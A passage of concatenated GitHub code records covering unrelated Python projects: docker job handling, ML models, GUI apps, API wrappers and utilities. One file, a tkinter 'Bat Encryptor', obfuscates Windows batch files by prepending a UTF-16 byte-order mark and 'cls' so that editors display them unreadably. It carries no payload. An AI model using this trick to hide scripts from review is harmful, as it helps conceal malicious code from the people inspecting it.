classification\n for log in job_container.logs(follow=True, stream=True):\n print(log.decode(\"utf-8\"))\n\n t_classify_end_cpu = datetime.fromtimestamp(time.process_time())\n t_classify_dur_cpu = t_classify_end_cpu - t_classify_start_cpu\n\n t_classify_end = datetime.now()\n t_classify_dur = t_classify_end - t_classify_start\n\n # Update performance metrics for job.\n classification_job.update_cpu_time(obj_id=job_id, time=t_classify_dur_cpu.total_seconds())\n classification_job.update_wall_clock_time(obj_id=job_id, time=t_classify_dur.total_seconds())\n classification_job.update_status(obj_id=job_id, new_status=str(JobStatus.COMPLETED))\n\n # Clean up after job executes\n job_container.stop(timeout=10)\n job_container.remove(v=True, force=True)\n\n return True\n\n\ndef report(commands: list, biocontainer: namedtuple, volumes: dict, report_filepath: str, class_job_id: ObjectId):\n for command in commands:\n logger.debug(\"REPORT COMMAND: {}\".format(command))\n\n t_report_start = datetime.now()\n try:\n job_container = docker_client.containers.create(image=biocontainer.image,\n volumes=volumes,\n command=command,\n detach=True)\n classification_job.update_container_id(obj_id=class_job_id, container_id=job_container.id)\n job_container.start()\n logger.debug(\"RUNNING CONTAINER {}\".format(job_container.id))\n except Exception as e:\n handle_fail(job_type=JobType.CLASSIFICATION, job_id=class_job_id, message=\"PROBLEM RUNNING DOCKER\",\n more_info=e)\n\n # Clean up after exception\n job_container.stop(timeout=10)\n job_container.remove(v=True, force=True)\n return False\n\n # Print logs for reporting\n with open(report_filepath.replace(config.CONTAINER_DATA_BIND, config.JOBS_DIR), \"w\") as f:\n for log in job_container.logs(follow=True, stream=True):\n f.write(log.decode(\"utf-8\"))\n # f.write(\"\\n\")\n\n t_report_end = datetime.now()\n t_report_dur = t_report_end - t_report_start\n\n # Clean up after job executes\n job_container.stop(timeout=10)\n job_container.remove(v=True, force=True)\n\n logger.info(\"REPORTING FINISHED IN {}\".format(str(t_report_dur)))\n return True\n\n\ndef parse_job_data(job: dict) -> (ObjectId, ObjectId, str, str) or None:\n user_job_id = pydash.get(job, \"user_job_id\")\n class_job_id = pydash.get(job, \"_id\")\n if class_job_id is None:\n handle_fail(job_type=JobType.CLASSIFICATION, job_id=class_job_id, message=\"JOB ID NOT INCLUDED!\")\n return None\n classification_job.update_status(obj_id=class_job_id, new_status=str(JobStatus.PROCESSING))\n logger.info(\"RUNNING CLASSIFICATION FOR JOB {}\".format(str(user_job_id)))\n\n # Get classifier information\n classifier = pydash.get(job, \"classifier\", None)\n\n fastq_filepath = pydash.get(job, \"fastq_path\", None)\n if fastq_filepath is None:\n handle_fail(job_type=JobType.CLASSIFICATION, job_id=class_job_id,\n message=\"NO FASTQ FILEPATH!\".format(fastq_filepath))\n return None\n\n if not os.path.exists(fastq_filepath):\n handle_fail(job_type=JobType.CLASSIFICATION, job_id=class_job_id,\n message=\"JOB FILE {} DOES NOT EXIST!\".format(fastq_filepath))\n return None\n return user_job_id, class_job_id, classifier, fastq_filepath\n\n\ndef setup_job_directories(fastq_filepath: str, classifier: str) -> (str, str, str):\n # Fastq file is expected to be located here: /data/jobs/<user_job_id>/<read_type>/simulated.fastq\n base_path = os.path.split(fastq_filepath)[0].replace(config.JOBS_DIR, config.CONTAINER_DATA_BIND)\n\n # Make new directory in job folder for classifier\n path = os.path.join(base_path, classifier)\n if not os.path.exists(path.replace(config.CONTAINER_DATA_BIND, config.JOBS_DIR)):\n os.mkdir(path.replace(config.CONTAINER_DATA_BIND, config.JOBS_DIR))\n\n # Initialize path names\n result_filepath = os.path.join(path, \"{}.result\".format(classifier))\n report_filepath = os.path.join(path, \"{}.report\".format(classifier))\n input_filepath = fastq_filepath.replace(config.JOBS_DIR, config.CONTAINER_DATA_BIND)\n return result_filepath, report_filepath, input_filepath\n","repo_name":"JHUAPL/meta-system","sub_path":"system/classify.py","file_name":"classify.py","file_ext":"py","file_size_in_byte":10791,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"29"} +{"seq_id":"3106240562","text":"from tkinter import *\r\nimport tkinter as tk\r\nfrom tkinter import filedialog as fd\r\n\r\n#Function that encrypt the .bat file\r\n\r\ndef bat_encriptation(bat,window):\r\n\r\n f = open(bat,'r')\r\n cnt = f.read()\r\n encrypted = '\\xff\\xfe\\ncls\\n' + cnt\r\n f.close()\r\n f2 = open('encryptedbat.bat','w')\r\n f2.write(encrypted)\r\n f2.close()\r\n button = Button(window, text='Close the program and the file will be on the same path where this program is',width=60 , height =6,bg='orange',state='disabled')\r\n button.grid(row = 8, column = 60,padx=150,pady=50)\r\n\r\n\r\n#This function asks the user for the file they want to encrypt.\r\ndef select_file(window):\r\n\r\n filetypes = (\r\n ('bat files', '*.bat'),\r\n ('All files', '*.*')\r\n )\r\n file = fd.askopenfilename(title='Choose a file',initialdir='/',filetypes=filetypes)\r\n bat_encriptation(file,window)\r\n \r\n\r\nwindow = tk.Tk() #Creation of the tkinter window.\r\n\r\nwindow.title('Bat Encryptor')\r\nwindow.geometry('700x500') #Config of the window\r\nwindow.config(background='purple',)\r\n\r\nbutton = Button(window, text='Select Bat File',width=60 , height =6,command=lambda:select_file(window),bg='green') #Creating the button that calls the 'select file' function. \r\nbutton.grid(row = 4, column = 60,padx=150,pady=50)\r\ntxt = Button(window,text='Developed by @aitortxu_pk', width=30,height=2,bg='light blue',state='disabled',fg='yellow')\r\ntxt.grid(row=6,column=60,padx=150,pady=50)\r\n\r\n\r\nwindow.mainloop()\r\n","repo_name":"aitortxu20/Batch_Obfuscator","sub_path":"EncryptedBat.py","file_name":"EncryptedBat.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"74591934798","text":"from flask import Flask, render_template\nfrom flask_socketio import SocketIO, emit\nimport time\nimport random\nimport webbrowser\n\napp = Flask(__name__)\nsocketio = SocketIO(app)\nthread = None\n\n\ndef background_thread():\n while True:\n socketio.emit('updatepassenger', {\n 'id': 1,\n 'position': {\n 'x': random.randrange(100),\n 'y': random.randrange(100),\n }\n })\n time.sleep(0.1)\n\n\n@socketio.on('connect')\ndef connect():\n global thread\n if thread is None:\n thread = socketio.start_background_task(target=background_thread)\n\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n\nif __name__ == '__main__':\n webbrowser.open('http://0.0.0.0:8000/')\n socketio.run(app, host='0.0.0.0', port=8000)\n","repo_name":"dlx-designlab/ripple_sensors","sub_path":"PeerJSPosition/peerJsPosition.py","file_name":"peerJsPosition.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"14349797656","text":"#==========================================================================\n# This file is under License LGPL-3.0 (see details in the license file).\n# This file is a part of implementation for paper:\n# How To Train Your Deep Multi-Object Tracker.\n# This contribution is headed by Perception research team, INRIA.\n# Contributor(s) : Yihong Xu\n# INRIA contact : yihong.xu@inria.fr\n# created on 16th April 2020.\n# the code is modified based on:\n# https://github.com/phil-bergmann/tracking_wo_bnw/tree/iccv_19\n# https://github.com/jwyang/faster-rcnn.pytorch/\n#==========================================================================\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\n\n\ndef unique_boxes(boxes, scale=1.0):\n \"\"\"Return indices of unique boxes.\"\"\"\n v = np.array([1, 1e3, 1e6, 1e9])\n hashes = np.round(boxes * scale).dot(v)\n _, index = np.unique(hashes, return_index=True)\n return np.sort(index)\n\n\ndef xywh_to_xyxy(boxes):\n \"\"\"Convert [x y w h] box format to [x1 y1 x2 y2] format.\"\"\"\n return np.hstack((boxes[:, 0:2], boxes[:, 0:2] + boxes[:, 2:4] - 1))\n\n\ndef xyxy_to_xywh(boxes):\n \"\"\"Convert [x1 y1 x2 y2] box format to [x y w h] format.\"\"\"\n return np.hstack((boxes[:, 0:2], boxes[:, 2:4] - boxes[:, 0:2] + 1))\n\n\ndef validate_boxes(boxes, width=0, height=0):\n \"\"\"Check that a set of boxes are valid.\"\"\"\n x1 = boxes[:, 0]\n y1 = boxes[:, 1]\n x2 = boxes[:, 2]\n y2 = boxes[:, 3]\n assert (x1 >= 0).all()\n assert (y1 >= 0).all()\n assert (x2 >= x1).all()\n assert (y2 >= y1).all()\n assert (x2 < width).all()\n assert (y2 < height).all()\n\n\ndef filter_small_boxes(boxes, min_size):\n w = boxes[:, 2] - boxes[:, 0]\n h = boxes[:, 3] - boxes[:, 1]\n keep = np.where((w >= min_size) & (h > min_size))[0]\n return keep\n","repo_name":"Brinkley97/deepmot-master","sub_path":"test_tracktor/src/fpn/fpn/datasets/ds_utils.py","file_name":"ds_utils.py","file_ext":"py","file_size_in_byte":1814,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"570719028","text":"import torch\r\ntorch.cuda.current_device()\r\nfrom torch import nn\r\nfrom torch import optim\r\nfrom torchvision import datasets, transforms, models\r\nfrom pathlib import Path\r\nimport matplotlib.pyplot as plt\r\nimport argparse\r\nfrom PIL import Image\r\nfrom torch.autograd import Variable\r\n\r\nparser=argparse.ArgumentParser()\r\n\r\n\r\nparser.add_argument(\"-img_path\", \"--img_path\", type=str, default=False, help=\"Enter Path of Image to be recognised\")\r\nargs = parser.parse_args()\r\n\r\nloader = transforms.Compose([transforms.Resize(255),\r\n transforms.CenterCrop(224),\r\n transforms.ToTensor()])\r\nimg_path= Path(args.img_path)#Path(\"C:/Users/abhis/Desktop/golden-retriever-puppy.jpg\")\r\n\r\ndef image_loader(image_name):\r\n \"\"\"load image, returns cuda tensor\"\"\"\r\n image = Image.open(img_path)\r\n image = loader(image).float()\r\n image = Variable(image, requires_grad=True)\r\n image = image.unsqueeze(0) #this is for VGG, may not be needed for ResNet\r\n return image.cuda() #assumes that you're using GPU\r\n\r\nPATH = Path(\"./model_q1.pth\")\r\n\r\nmodel = torch.load(PATH)\r\nmodel.eval()\r\n\r\nlogps = model.forward(image_loader(img_path))\r\nps = torch.exp(logps)\r\nval=(ps==(torch.max(ps))).nonzero()[0,1]\r\nif int(val)==0:\r\n\tprint(\"Predicted: Covid Patient\")\r\nelse:\r\n\tprint(\"Predicted: Patient is fine\")\r\n","repo_name":"lastlap/covid_xray","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"9237108173","text":"import kivy\nkivy.require('2.0.0');\n\nfrom kivy.app import App\nfrom kivy.uix.label import Label\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.textinput import TextInput\nfrom kivy.properties import (NumericProperty, ReferenceListProperty, ObjectProperty)\n\nimport sys\n\nd_list = [0.7, 1.27, 1.33, 1.64, 3.93, 5.24, 5.43, 5.51]\ncomp_list = ['Gas Giant', 'Ice Giant', 'Gas Planet', 'Gas Planet', 'Rocky Planet', 'Rocky Planet', 'Metal-Rich Rocky Planet', 'Metal-Rich Rocky Planet']\nname_list = ['Saturn', 'Uranus', 'Jupiter', 'Neptune', 'Mars', 'Venus', 'Mercury', 'Earth']\ninfo_list = [\n 'Saturn has the lowest density of all the planets in our Solar System. It is actually less dense than water!',\n 'While Uranus has a tiny rocky core, it is largely composed of a mantle of water, ammonia, and methane ice.',\n 'Jupiter has a magnetic field 14x stronger than Earth, which acts as a shield to deflect impact.',\n 'Neptune is the coldest and most distant planet, with gravity similar to Earth.',\n 'Mars is made up a \"soft rocky paste\" mostly of silicon, oxygen, iron, and magnesium.',\n 'The composition of Venus is likely very similar to Earth',\n 'Mercury is made up of about 70% metals and 30% silicate. It has the oldest, most pitted surface of any planet in our Solar System.',\n 'Earth is the densest planet in our Solar System! The pressure of our own gravitation compresses Earth by a few percentage points.'\n ]\n\nclass PlanetGame(BoxLayout):\n def find_match(self):\n\n # Test Input for Exact Match\n exact_match = False\n planet_key = 0\n for d in d_list:\n if float(self.density.text) == d:\n exact_match = True\n planet_key = d_list.index(d)\n\n # Case 0: User Quit\n if self.density.text == 'q':\n sys.exit()\n\n # Case 1: Exact Match\n elif exact_match == True:\n self.input.text = '[b]You Input:[/b] ' + self.density.text + 'g/cm^3'\n self.composition.text = '[b]Composition:[/b] ' + comp_list[planet_key]\n self.match.text = '[b]Exact match![/b] ' + name_list[planet_key] + ' has a density of [b]0.7 g/cm^3[/b]'\n self.info.text = info_list[planet_key]\n\n # Case 2: Find Closest Match\n else:\n closest_value = d_list[min(range(len(d_list)), key = lambda i: abs(d_list[i]-float(self.density.text)))]\n closest = d_list.index(closest_value)\n self.input.text = '[b]You Input:[/b] ' + self.density.text + 'g/cm^3'\n self.composition.text = '[b]Likely Composition:[/b] ' + comp_list[closest]\n self.match.text = '[b]Your density most closely matches ' + name_list[closest] + '[/b], which has a density of ' + str(d_list[closest]) + ' g/cm^3'\n self.info.text = ''\n\n self.density.text = '' # clear input field\n\nclass PlanetDensityApp(App):\n def build(self):\n game = PlanetGame();\n return game\n\nif __name__ == '__main__':\n PlanetDensityApp().run()\n","repo_name":"lionthroat/planet_density","sub_path":"planetdensity.py","file_name":"planetdensity.py","file_ext":"py","file_size_in_byte":3048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"20512009137","text":"import numpy as np\nimport tqdm\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom .. import register_model, BaseModel\nfrom cogdl.models.nn.graphsage import sage_sampler, GraphSAGELayer\nfrom cogdl.trainers.self_supervised_trainer import SelfSupervisedTrainer\nfrom cogdl.utils import RandomWalker\n\n\n@register_model(\"unsup_graphsage\")\nclass SAGE(BaseModel):\n \"\"\"\n Implementation of unsupervised GraphSAGE in paper `\"Inductive Representation Learning on Large Graphs\"` <https://cs.stanford.edu/people/jure/pubs/graphsage-nips17.pdf>\n\n Parameters\n ----------\n num_features : int\n Size of each input sample\n hidden_size : int\n num_layers : int\n The number of GNN layers.\n samples_size : list\n The number sampled neighbors of different orders\n dropout : float\n walk_length : int\n The length of random walk\n negative_samples : int\n \"\"\"\n\n @staticmethod\n def add_args(parser):\n \"\"\"Add model-specific arguments to the parser.\"\"\"\n # fmt: off\n parser.add_argument(\"--num-features\", type=int)\n parser.add_argument(\"--hidden-size\", type=int, default=128)\n parser.add_argument(\"--num-layers\", type=int, default=2)\n parser.add_argument(\"--sample-size\", type=int, nargs='+', default=[10, 10])\n parser.add_argument(\"--dropout\", type=float, default=0.5)\n parser.add_argument(\"--walk-length\", type=int, default=10)\n parser.add_argument(\"--negative-samples\", type=int, default=30)\n parser.add_argument(\"--lr\", type=float, default=0.001)\n\n parser.add_argument(\"--max-epochs\", type=int, default=3000)\n # fmt: on\n\n @classmethod\n def build_model_from_args(cls, args):\n return cls(\n num_features=args.num_features,\n hidden_size=args.hidden_size,\n num_layers=args.num_layers,\n sample_size=args.sample_size,\n dropout=args.dropout,\n walk_length=args.walk_length,\n negative_samples=args.negative_samples,\n )\n\n def __init__(self, num_features, hidden_size, num_layers, sample_size, dropout, walk_length, negative_samples):\n super(SAGE, self).__init__()\n self.adjlist = {}\n self.num_features = num_features\n self.hidden_size = hidden_size\n self.num_layers = num_layers\n self.sample_size = sample_size\n self.dropout = dropout\n self.walk_length = walk_length\n self.num_negative_samples = negative_samples\n self.walk_res = None\n self.num_nodes = 0\n self.negative_samples = 1\n\n shapes = [num_features] + [hidden_size] * num_layers\n\n self.convs = nn.ModuleList([GraphSAGELayer(shapes[layer], shapes[layer + 1]) for layer in range(num_layers)])\n self.random_walker = RandomWalker()\n\n def forward(self, graph):\n x = graph.x\n for i in range(self.num_layers):\n edge_index_sp = self.sampling(graph.edge_index, self.sample_size[i]).to(x.device)\n with graph.local_graph():\n graph.edge_index = edge_index_sp\n x = self.convs[i](graph, x)\n if i != self.num_layers - 1:\n x = F.relu(x)\n x = F.dropout(x, p=self.dropout, training=self.training)\n return x\n\n def node_classification_loss(self, data):\n return self.loss(data)\n\n def loss(self, data):\n x = self.forward(data)\n device = x.device\n\n self.random_walker.build_up(data.edge_index, data.x.shape[0])\n walk_res = self.random_walker.walk(\n start=torch.arange(0, x.shape[0]).to(device), walk_length=self.walk_length + 1\n )\n self.walk_res = torch.as_tensor(walk_res)[:, 1:]\n\n if not self.num_nodes:\n self.num_nodes = torch.max(data.edge_index).item() + 1\n\n # if self.negative_samples is None:\n self.negative_samples = torch.from_numpy(\n np.random.choice(self.num_nodes, (self.num_nodes, self.num_negative_samples))\n ).to(device)\n\n pos_loss = -torch.log(\n torch.sigmoid(torch.sum(x.unsqueeze(1).repeat(1, self.walk_length, 1) * x[self.walk_res], dim=-1))\n ).mean()\n neg_loss = -torch.log(\n torch.sigmoid(\n -torch.sum(x.unsqueeze(1).repeat(1, self.num_negative_samples, 1) * x[self.negative_samples], dim=-1)\n )\n ).mean()\n return (pos_loss + neg_loss) / 2\n\n def embed(self, data):\n emb = self.forward(data)\n return emb\n\n def sampling(self, edge_index, num_sample):\n return sage_sampler(self.adjlist, edge_index, num_sample)\n\n @staticmethod\n def get_trainer(taskType, args):\n return SelfSupervisedTrainer\n","repo_name":"RockabyeW/Expert-Finding-for-AMiner-THU-ZhipuAI-","sub_path":"cogdl/cogdl/models/nn/unsup_graphsage.py","file_name":"unsup_graphsage.py","file_ext":"py","file_size_in_byte":4751,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"33568628998","text":"import aiohttp\nimport asyncio\n\nclass Turing(object):\n api_key = ''\n api_secret = ''\n __headers = {}\n\n def __init__(self, api_key):\n self.api_key = api_key\n self.__headers = {'Content-Type': 'application/json;charset=UTF-8'}\n self.session = aiohttp.ClientSession()\n \n def __del__(self):\n loop = asyncio.get_event_loop()\n if loop.is_running():\n loop.create_task(self.session.close())\n else:\n loop.run_until_complete(self.session.close())\n\n async def contact(self, str, type, id, name, group=0, group_name=''):\n __json = {'reqType':0,\n 'perception': {\n \"inputText\": {\n \"text\": str,\n }, \n },\n 'userInfo': {\n \"apiKey\": self.api_key,\n \"userId\": id,\n \"userIdName\": name,\n },\n }\n if(type == 2):\n __json['userInfo']['groupId\t'] = group\n submit = await self.session.post('http://openapi.turingapi.com/openapi/api/v2',\n headers=self.__headers, json=__json)\n json_data = await submit.json(content_type='text/plain')\n return json_data.get('results')[0].get('values').get('text')\n\nfrom core.load_param import config_json\nturing_bot = Turing(config_json['Turing_Api-Key'])\n","repo_name":"Yastruhank/BetaGo","sub_path":"modules/chat/Turing.py","file_name":"Turing.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"23568917147","text":"import requests\n\n\nDOG_API = 'https://dog.ceo/api'\n\n\nclass Doggo:\n def __init__(self, url=DOG_API):\n self.url = url\n\n def list(self):\n r = requests.get(\"%s/breeds/list\" % self.url)\n res = r.json()\n return '\\n'.join(res['message'])\n\n def random(self, breed=None):\n if breed == None:\n r = requests.get(\"%s/breeds/image/random\" % self.url)\n else:\n r = requests.get(\"%s/breed/%s/images/random\" % (self.url, breed))\n\n res = r.json()\n if res['status'] == \"error\":\n return None\n else:\n return res['message']\n","repo_name":"hiepph/ayaneru","sub_path":"modules/doggo.py","file_name":"doggo.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"73334099598","text":"n = int(input())\nnums = list(map(int, input().split()))\n\ndp = [1]*n # dp[i] 表示以当前nums[i]结尾的最长序列\nfor i in range(n):\n for j in range(i)[::-1]:\n if nums[j] < nums[i]:\n dp[i] = max(dp[j]+1, dp[i])\n\nprint(max(dp))","repo_name":"cola0405/luogu","sub_path":"p3637.py","file_name":"p3637.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"20138061476","text":"import tensorflow as tf\n\nfrom tensorflow.python.ops.distributions import util as distribution_util\n\n\ndef kl_mixture(mu, sigma, prior_sigma1, prior_sigma2, prior_pi, sample):\n x_flat = tf.reshape(sample, [-1])\n mu = tf.reshape(mu, [-1])\n sigma = tf.reshape(sigma, [-1])\n posterior = tf.distributions.Normal(mu, sigma)\n log_posterior = tf.reduce_sum(posterior.log_prob(x_flat))\n N1 = tf.distributions.Normal(0.0, prior_sigma1)\n N2 = tf.distributions.Normal(0.0, prior_sigma2)\n prior1 = tf.log(prior_pi) + N1.log_prob(x_flat)\n prior2 = tf.log(1.0 - prior_pi) + N2.log_prob(x_flat)\n prior_mix = tf.stack([prior1, prior2])\n log_prior = tf.reduce_sum(tf.reduce_logsumexp(prior_mix, [0]))\n return log_posterior - log_prior\n\n\ndef reparametrize(loc, scale, sample):\n output = loc\n if sample:\n output += scale * tf.random_normal(tf.shape(scale), 0, 1)\n return output\n\n\ndef bernoullli(shape, p=0.5):\n return tf.where(\n tf.random_uniform(shape) < p, tf.ones(shape), tf.zeros(shape))\n\n\ndef local_reparametrize(inputs, loc, scale, sample):\n outputs_loc = tf.matmul(inputs, loc)\n outputs_var = tf.matmul(\n tf.square(inputs), tf.square(scale))\n return reparametrize(\n outputs_loc, tf.sqrt(outputs_var), sample)\n\n\ndef local_reparametrize_conv(inputs, loc, scale, sample, conv_op):\n # Note: Gradient will be biased due to weight sharing,\n # as inputs are no longer independent.\n outputs_mu = conv_op(inputs, loc)\n outputs_var = conv_op(\n tf.square(inputs), tf.square(scale))\n return reparametrize(\n outputs_mu, tf.sqrt(outputs_var), sample)\n\n\ndef flipout_dense(units, inputs, loc, scale, sample, seed=None):\n outputs = tf.matmul(inputs, loc)\n if sample:\n kernel_noise = reparametrize(0., scale, sample=True)\n input_shape = tf.shape(inputs)\n batch_shape = input_shape[:-1]\n\n sign_input = random_sign(input_shape, dtype=inputs.dtype,\n seed=seed)\n sign_output = random_sign(\n tf.concat([batch_shape,\n tf.expand_dims(units, 0)], 0),\n dtype=inputs.dtype,\n seed=distribution_util.gen_new_seed(\n seed, salt=\"dense_flipout\"))\n\n perturbed_inputs = tf.matmul(\n inputs * sign_input, kernel_noise) * sign_output\n outputs += perturbed_inputs\n return outputs\n\n\ndef flipout_conv(filters, rank, inputs, loc, scale, sample, conv_op, seed=None):\n outputs = conv_op(inputs, loc)\n if sample:\n kernel_noise = reparametrize(0., scale, sample=True)\n input_shape = tf.shape(inputs)\n output_shape = tf.shape(outputs)\n batch_shape = tf.expand_dims(input_shape[0], 0)\n channels = input_shape[-1]\n\n sign_input = random_sign(\n tf.concat([batch_shape,\n tf.expand_dims(channels, 0)], 0),\n dtype=inputs.dtype,\n seed=seed)\n sign_output = random_sign(\n tf.concat([batch_shape,\n tf.expand_dims(filters, 0)], 0),\n dtype=inputs.dtype,\n seed=distribution_util.gen_new_seed(\n seed, salt=\"conv_flipout\"))\n for _ in range(rank):\n sign_input = tf.expand_dims(sign_input,\n 1)\n sign_output = tf.expand_dims(sign_output, 1)\n\n sign_input = tf.tile(\n sign_input,\n [1] + [input_shape[i + 1] for i in range(rank)] + [1])\n sign_output = tf.tile(\n sign_output,\n [1] + [output_shape[i + 1] for i in range(rank)] + [1])\n\n perturbed_inputs = conv_op(\n inputs * sign_input, kernel_noise) * sign_output\n\n outputs += perturbed_inputs\n return outputs\n\n\ndef random_sign(shape, dtype=tf.float32, seed=None):\n \"\"\"Draw values from {-1, 1} uniformly, i.e., Rademacher distribution.\"\"\"\n random_bernoulli = tf.random_uniform(shape, minval=0, maxval=2,\n dtype=tf.int32,\n seed=seed)\n return tf.cast(2 * random_bernoulli - 1, dtype)\n\n\ndef zeros_d(shape):\n if isinstance(shape, (list, tuple)):\n shape = tf.stack(shape)\n return tf.zeros(shape)\n","repo_name":"mirceamironenco/stochastic_nets","sub_path":"layers/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3953,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"16322094804","text":"import json\n\nclass Player:\n sittingOut = False\n hasFolded = False\n isSelf = False\n turnHistory = []\n\n def __init__(self, name):\n self.name = name\n\nclass Hand:\n cards = []\n\n def __init__(self, card1, card2, communityCards, playerCards, actionsByStreet):\n self.cards.append(card1)\n self.cards.append(card2)\n self.communityCards = communityCards\n self.playerCards = playerCards\n self.actionsByStreet = actionsByStreet\n\n def toJson(self):\n return json.dumps(self, default=lambda obj: obj.__dict__)\n\nclass Action:\n def __init__(self, playerName, action):\n self.playerName = playerName\n self.action = action\n\n def getReadableAction(self, action):\n if(action == \"f\"):\n return \"folded\"\n if(action == \"ch\"):\n return \"check\"\n if(action == \"c\"):\n return \"call\"\n if(action[0] == \"b\"):\n return f\"bet {action[1:]}\"\n if(action[0] == \"r\"):\n return f\"raise {action[1:]}\"\n\n def toString(self):\n return f\"{self.playerName}: {self.getReadableAction(self.action)}\"\n","repo_name":"theflyinhawaiian/poker-tracking","sub_path":"Poker.py","file_name":"Poker.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"10491856143","text":"# Created by Oleksandr Sorochynskyi\n# On 14/01/2020\n\nfrom copy import deepcopy\n\nfrom django.db import transaction\n\n\ndef _copy_model(instance):\n copy = deepcopy(instance)\n copy.id = None\n copy.save()\n return copy\n\n\ndef _duplicate_recipe(recipe):\n new = _copy_model(recipe)\n\n for ing_grp in recipe.ingredient_groups.all():\n new_ing_grp = _copy_model(ing_grp)\n for ing in ing_grp.ingredients.all():\n new_ing = _copy_model(ing)\n new_ing_grp.ingredients.add(new_ing)\n for ing_note in ing.notes.all():\n new_note = _copy_model(ing_note)\n new_ing.notes.add(new_note)\n new.ingredient_groups.add(new_ing_grp)\n\n for ins in recipe.instructions.all():\n new_ins = _copy_model(ins)\n for ins_note in ins.notes.all():\n new_note = _copy_model(ins_note)\n new_ins.notes.add(new_note)\n new.instructions.add(new_ins)\n\n for note in recipe.notes.all():\n new_note = _copy_model(note)\n new.notes.add(new_note)\n\n for tag in recipe.tags.all():\n new.tags.add(tag)\n\n return new\n\n\ndef duplicate_recipe(recipe):\n \"\"\"\n Duplicate a `cookbox_core.models.Recipe`\n\n Duplicates a recipe. All database operations are done\n within a transaction.\n\n :param recipe Recipe: A recipe to be copied.\n :returns Recipe: A copy of the provided recipe, in a new model instance.\n \"\"\"\n with transaction.atomic():\n ret = _duplicate_recipe(recipe)\n return ret\n","repo_name":"Chirurgus/cookbox","sub_path":"cookbox_core/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"7013201852","text":"import os\nimport sys\nimport csv\nimport pickle\nimport argparse\nimport numpy as np\nos.chdir(os.path.dirname(os.path.realpath(__file__)))\nsys.path.append(os.path.join(\".\",\"toolkits\"))\nfrom default_parameters import default_parameters_OWEO\nfrom my_toolkit import NX_matrix_transformation, give_U_name, add_NX_structure, pt1_filter\n\ndef main(NX_matrix_inputs, data_dir, used_measurement, save_processed_data, pt1_inputs, pt1_outputs):\n X_name = [\"Speed\",\n \"Load\",\n \"Lambda\",\n \"Ign_Ang\",\n \"Fuel_Cutoff\"]\n \n Y_name = [\"PAR\",\n \"CO\",\n \"CO2\",\n \"HC\",\n \"NOx\",\n \"O2\",\n \"T_EXM\",\n \"T_CAT1\"]\n \n NX_matrix = NX_matrix_transformation(NX_matrix_inputs, len(X_name))\n U_name = give_U_name(X_name, NX_matrix)\n \n X = np.empty([0, len(X_name)])\n filt_X = np.empty([0, len(X_name)])\n U = np.empty([0, len(U_name)])\n filt_U = np.empty([0, len(U_name)])\n Y = np.empty([0, len(Y_name)])\n filt_Y = np.empty([0, len(Y_name)])\n \n for m_idx, m_value in enumerate(used_measurement):\n # first load data from a file\n data = np.empty([0,len(X_name)+len(Y_name)])\n file = os.path.join(data_dir, f\"raw_0000{m_value}_measurement_000000.csv\")\n print(\"### measurement %3d / %s\"%(m_value, str(used_measurement[m_idx:])))\n \n with open(file, newline='') as csvfile:\n csvreader = csv.reader(csvfile, delimiter=',', quoting=csv.QUOTE_NONNUMERIC)\n print(\"### loading\", end='')\n \n for row in csvreader:\n data = np.vstack((data,row))\n \n print(\", filtering\", end='')\n filt_data = np.empty(np.shape(data))\n for i, pt1 in enumerate(np.append(pt1_inputs, pt1_outputs)):\n filt_data[:, i] = pt1_filter(data[:, i], pt1)\n \n print(\", adding NX structure\", end='')\n uu = add_NX_structure(data, NX_matrix)\n filt_uu = add_NX_structure(filt_data, NX_matrix)\n \n print(\", finishing\\n\")\n steps = NX_matrix.shape[0] - 1\n \n X = np.vstack((X, data[steps:, :len(X_name)]))\n filt_X = np.vstack((filt_X, filt_data[steps:, :len(X_name)]))\n U = np.vstack((U, uu))\n filt_U = np.vstack((filt_U, filt_uu))\n Y = np.vstack((Y, data[steps:, len(X_name):]))\n filt_Y = np.vstack((filt_Y, filt_data[steps:, len(X_name):]))\n \n # save result\n Processed_data = {\n \"X_name\": X_name, \"X_raw\": X, \"X\": filt_X,\n \"U_name\": U_name, \"U_raw\": U, \"U\": filt_U,\n \"Y_name\": Y_name, \"Y_raw\": Y, \"Y\": filt_Y,\n \"NX_matrix\": NX_matrix, \"pt1_inputs\": pt1_inputs, \"pt1_outputs\": pt1_outputs\n }\n\n if save_processed_data[0]:\n with open(save_processed_data[1], \"wb\") as fp:\n pickle.dump(Processed_data, fp)\n \n return Processed_data\n\n\n\n\nif __name__ == \"__main__\":\n pars = default_parameters_OWEO()\n parser = argparse.ArgumentParser(description='Add NX structure to the data')\n parser.add_argument('--mode', default= \"training\", type=str, 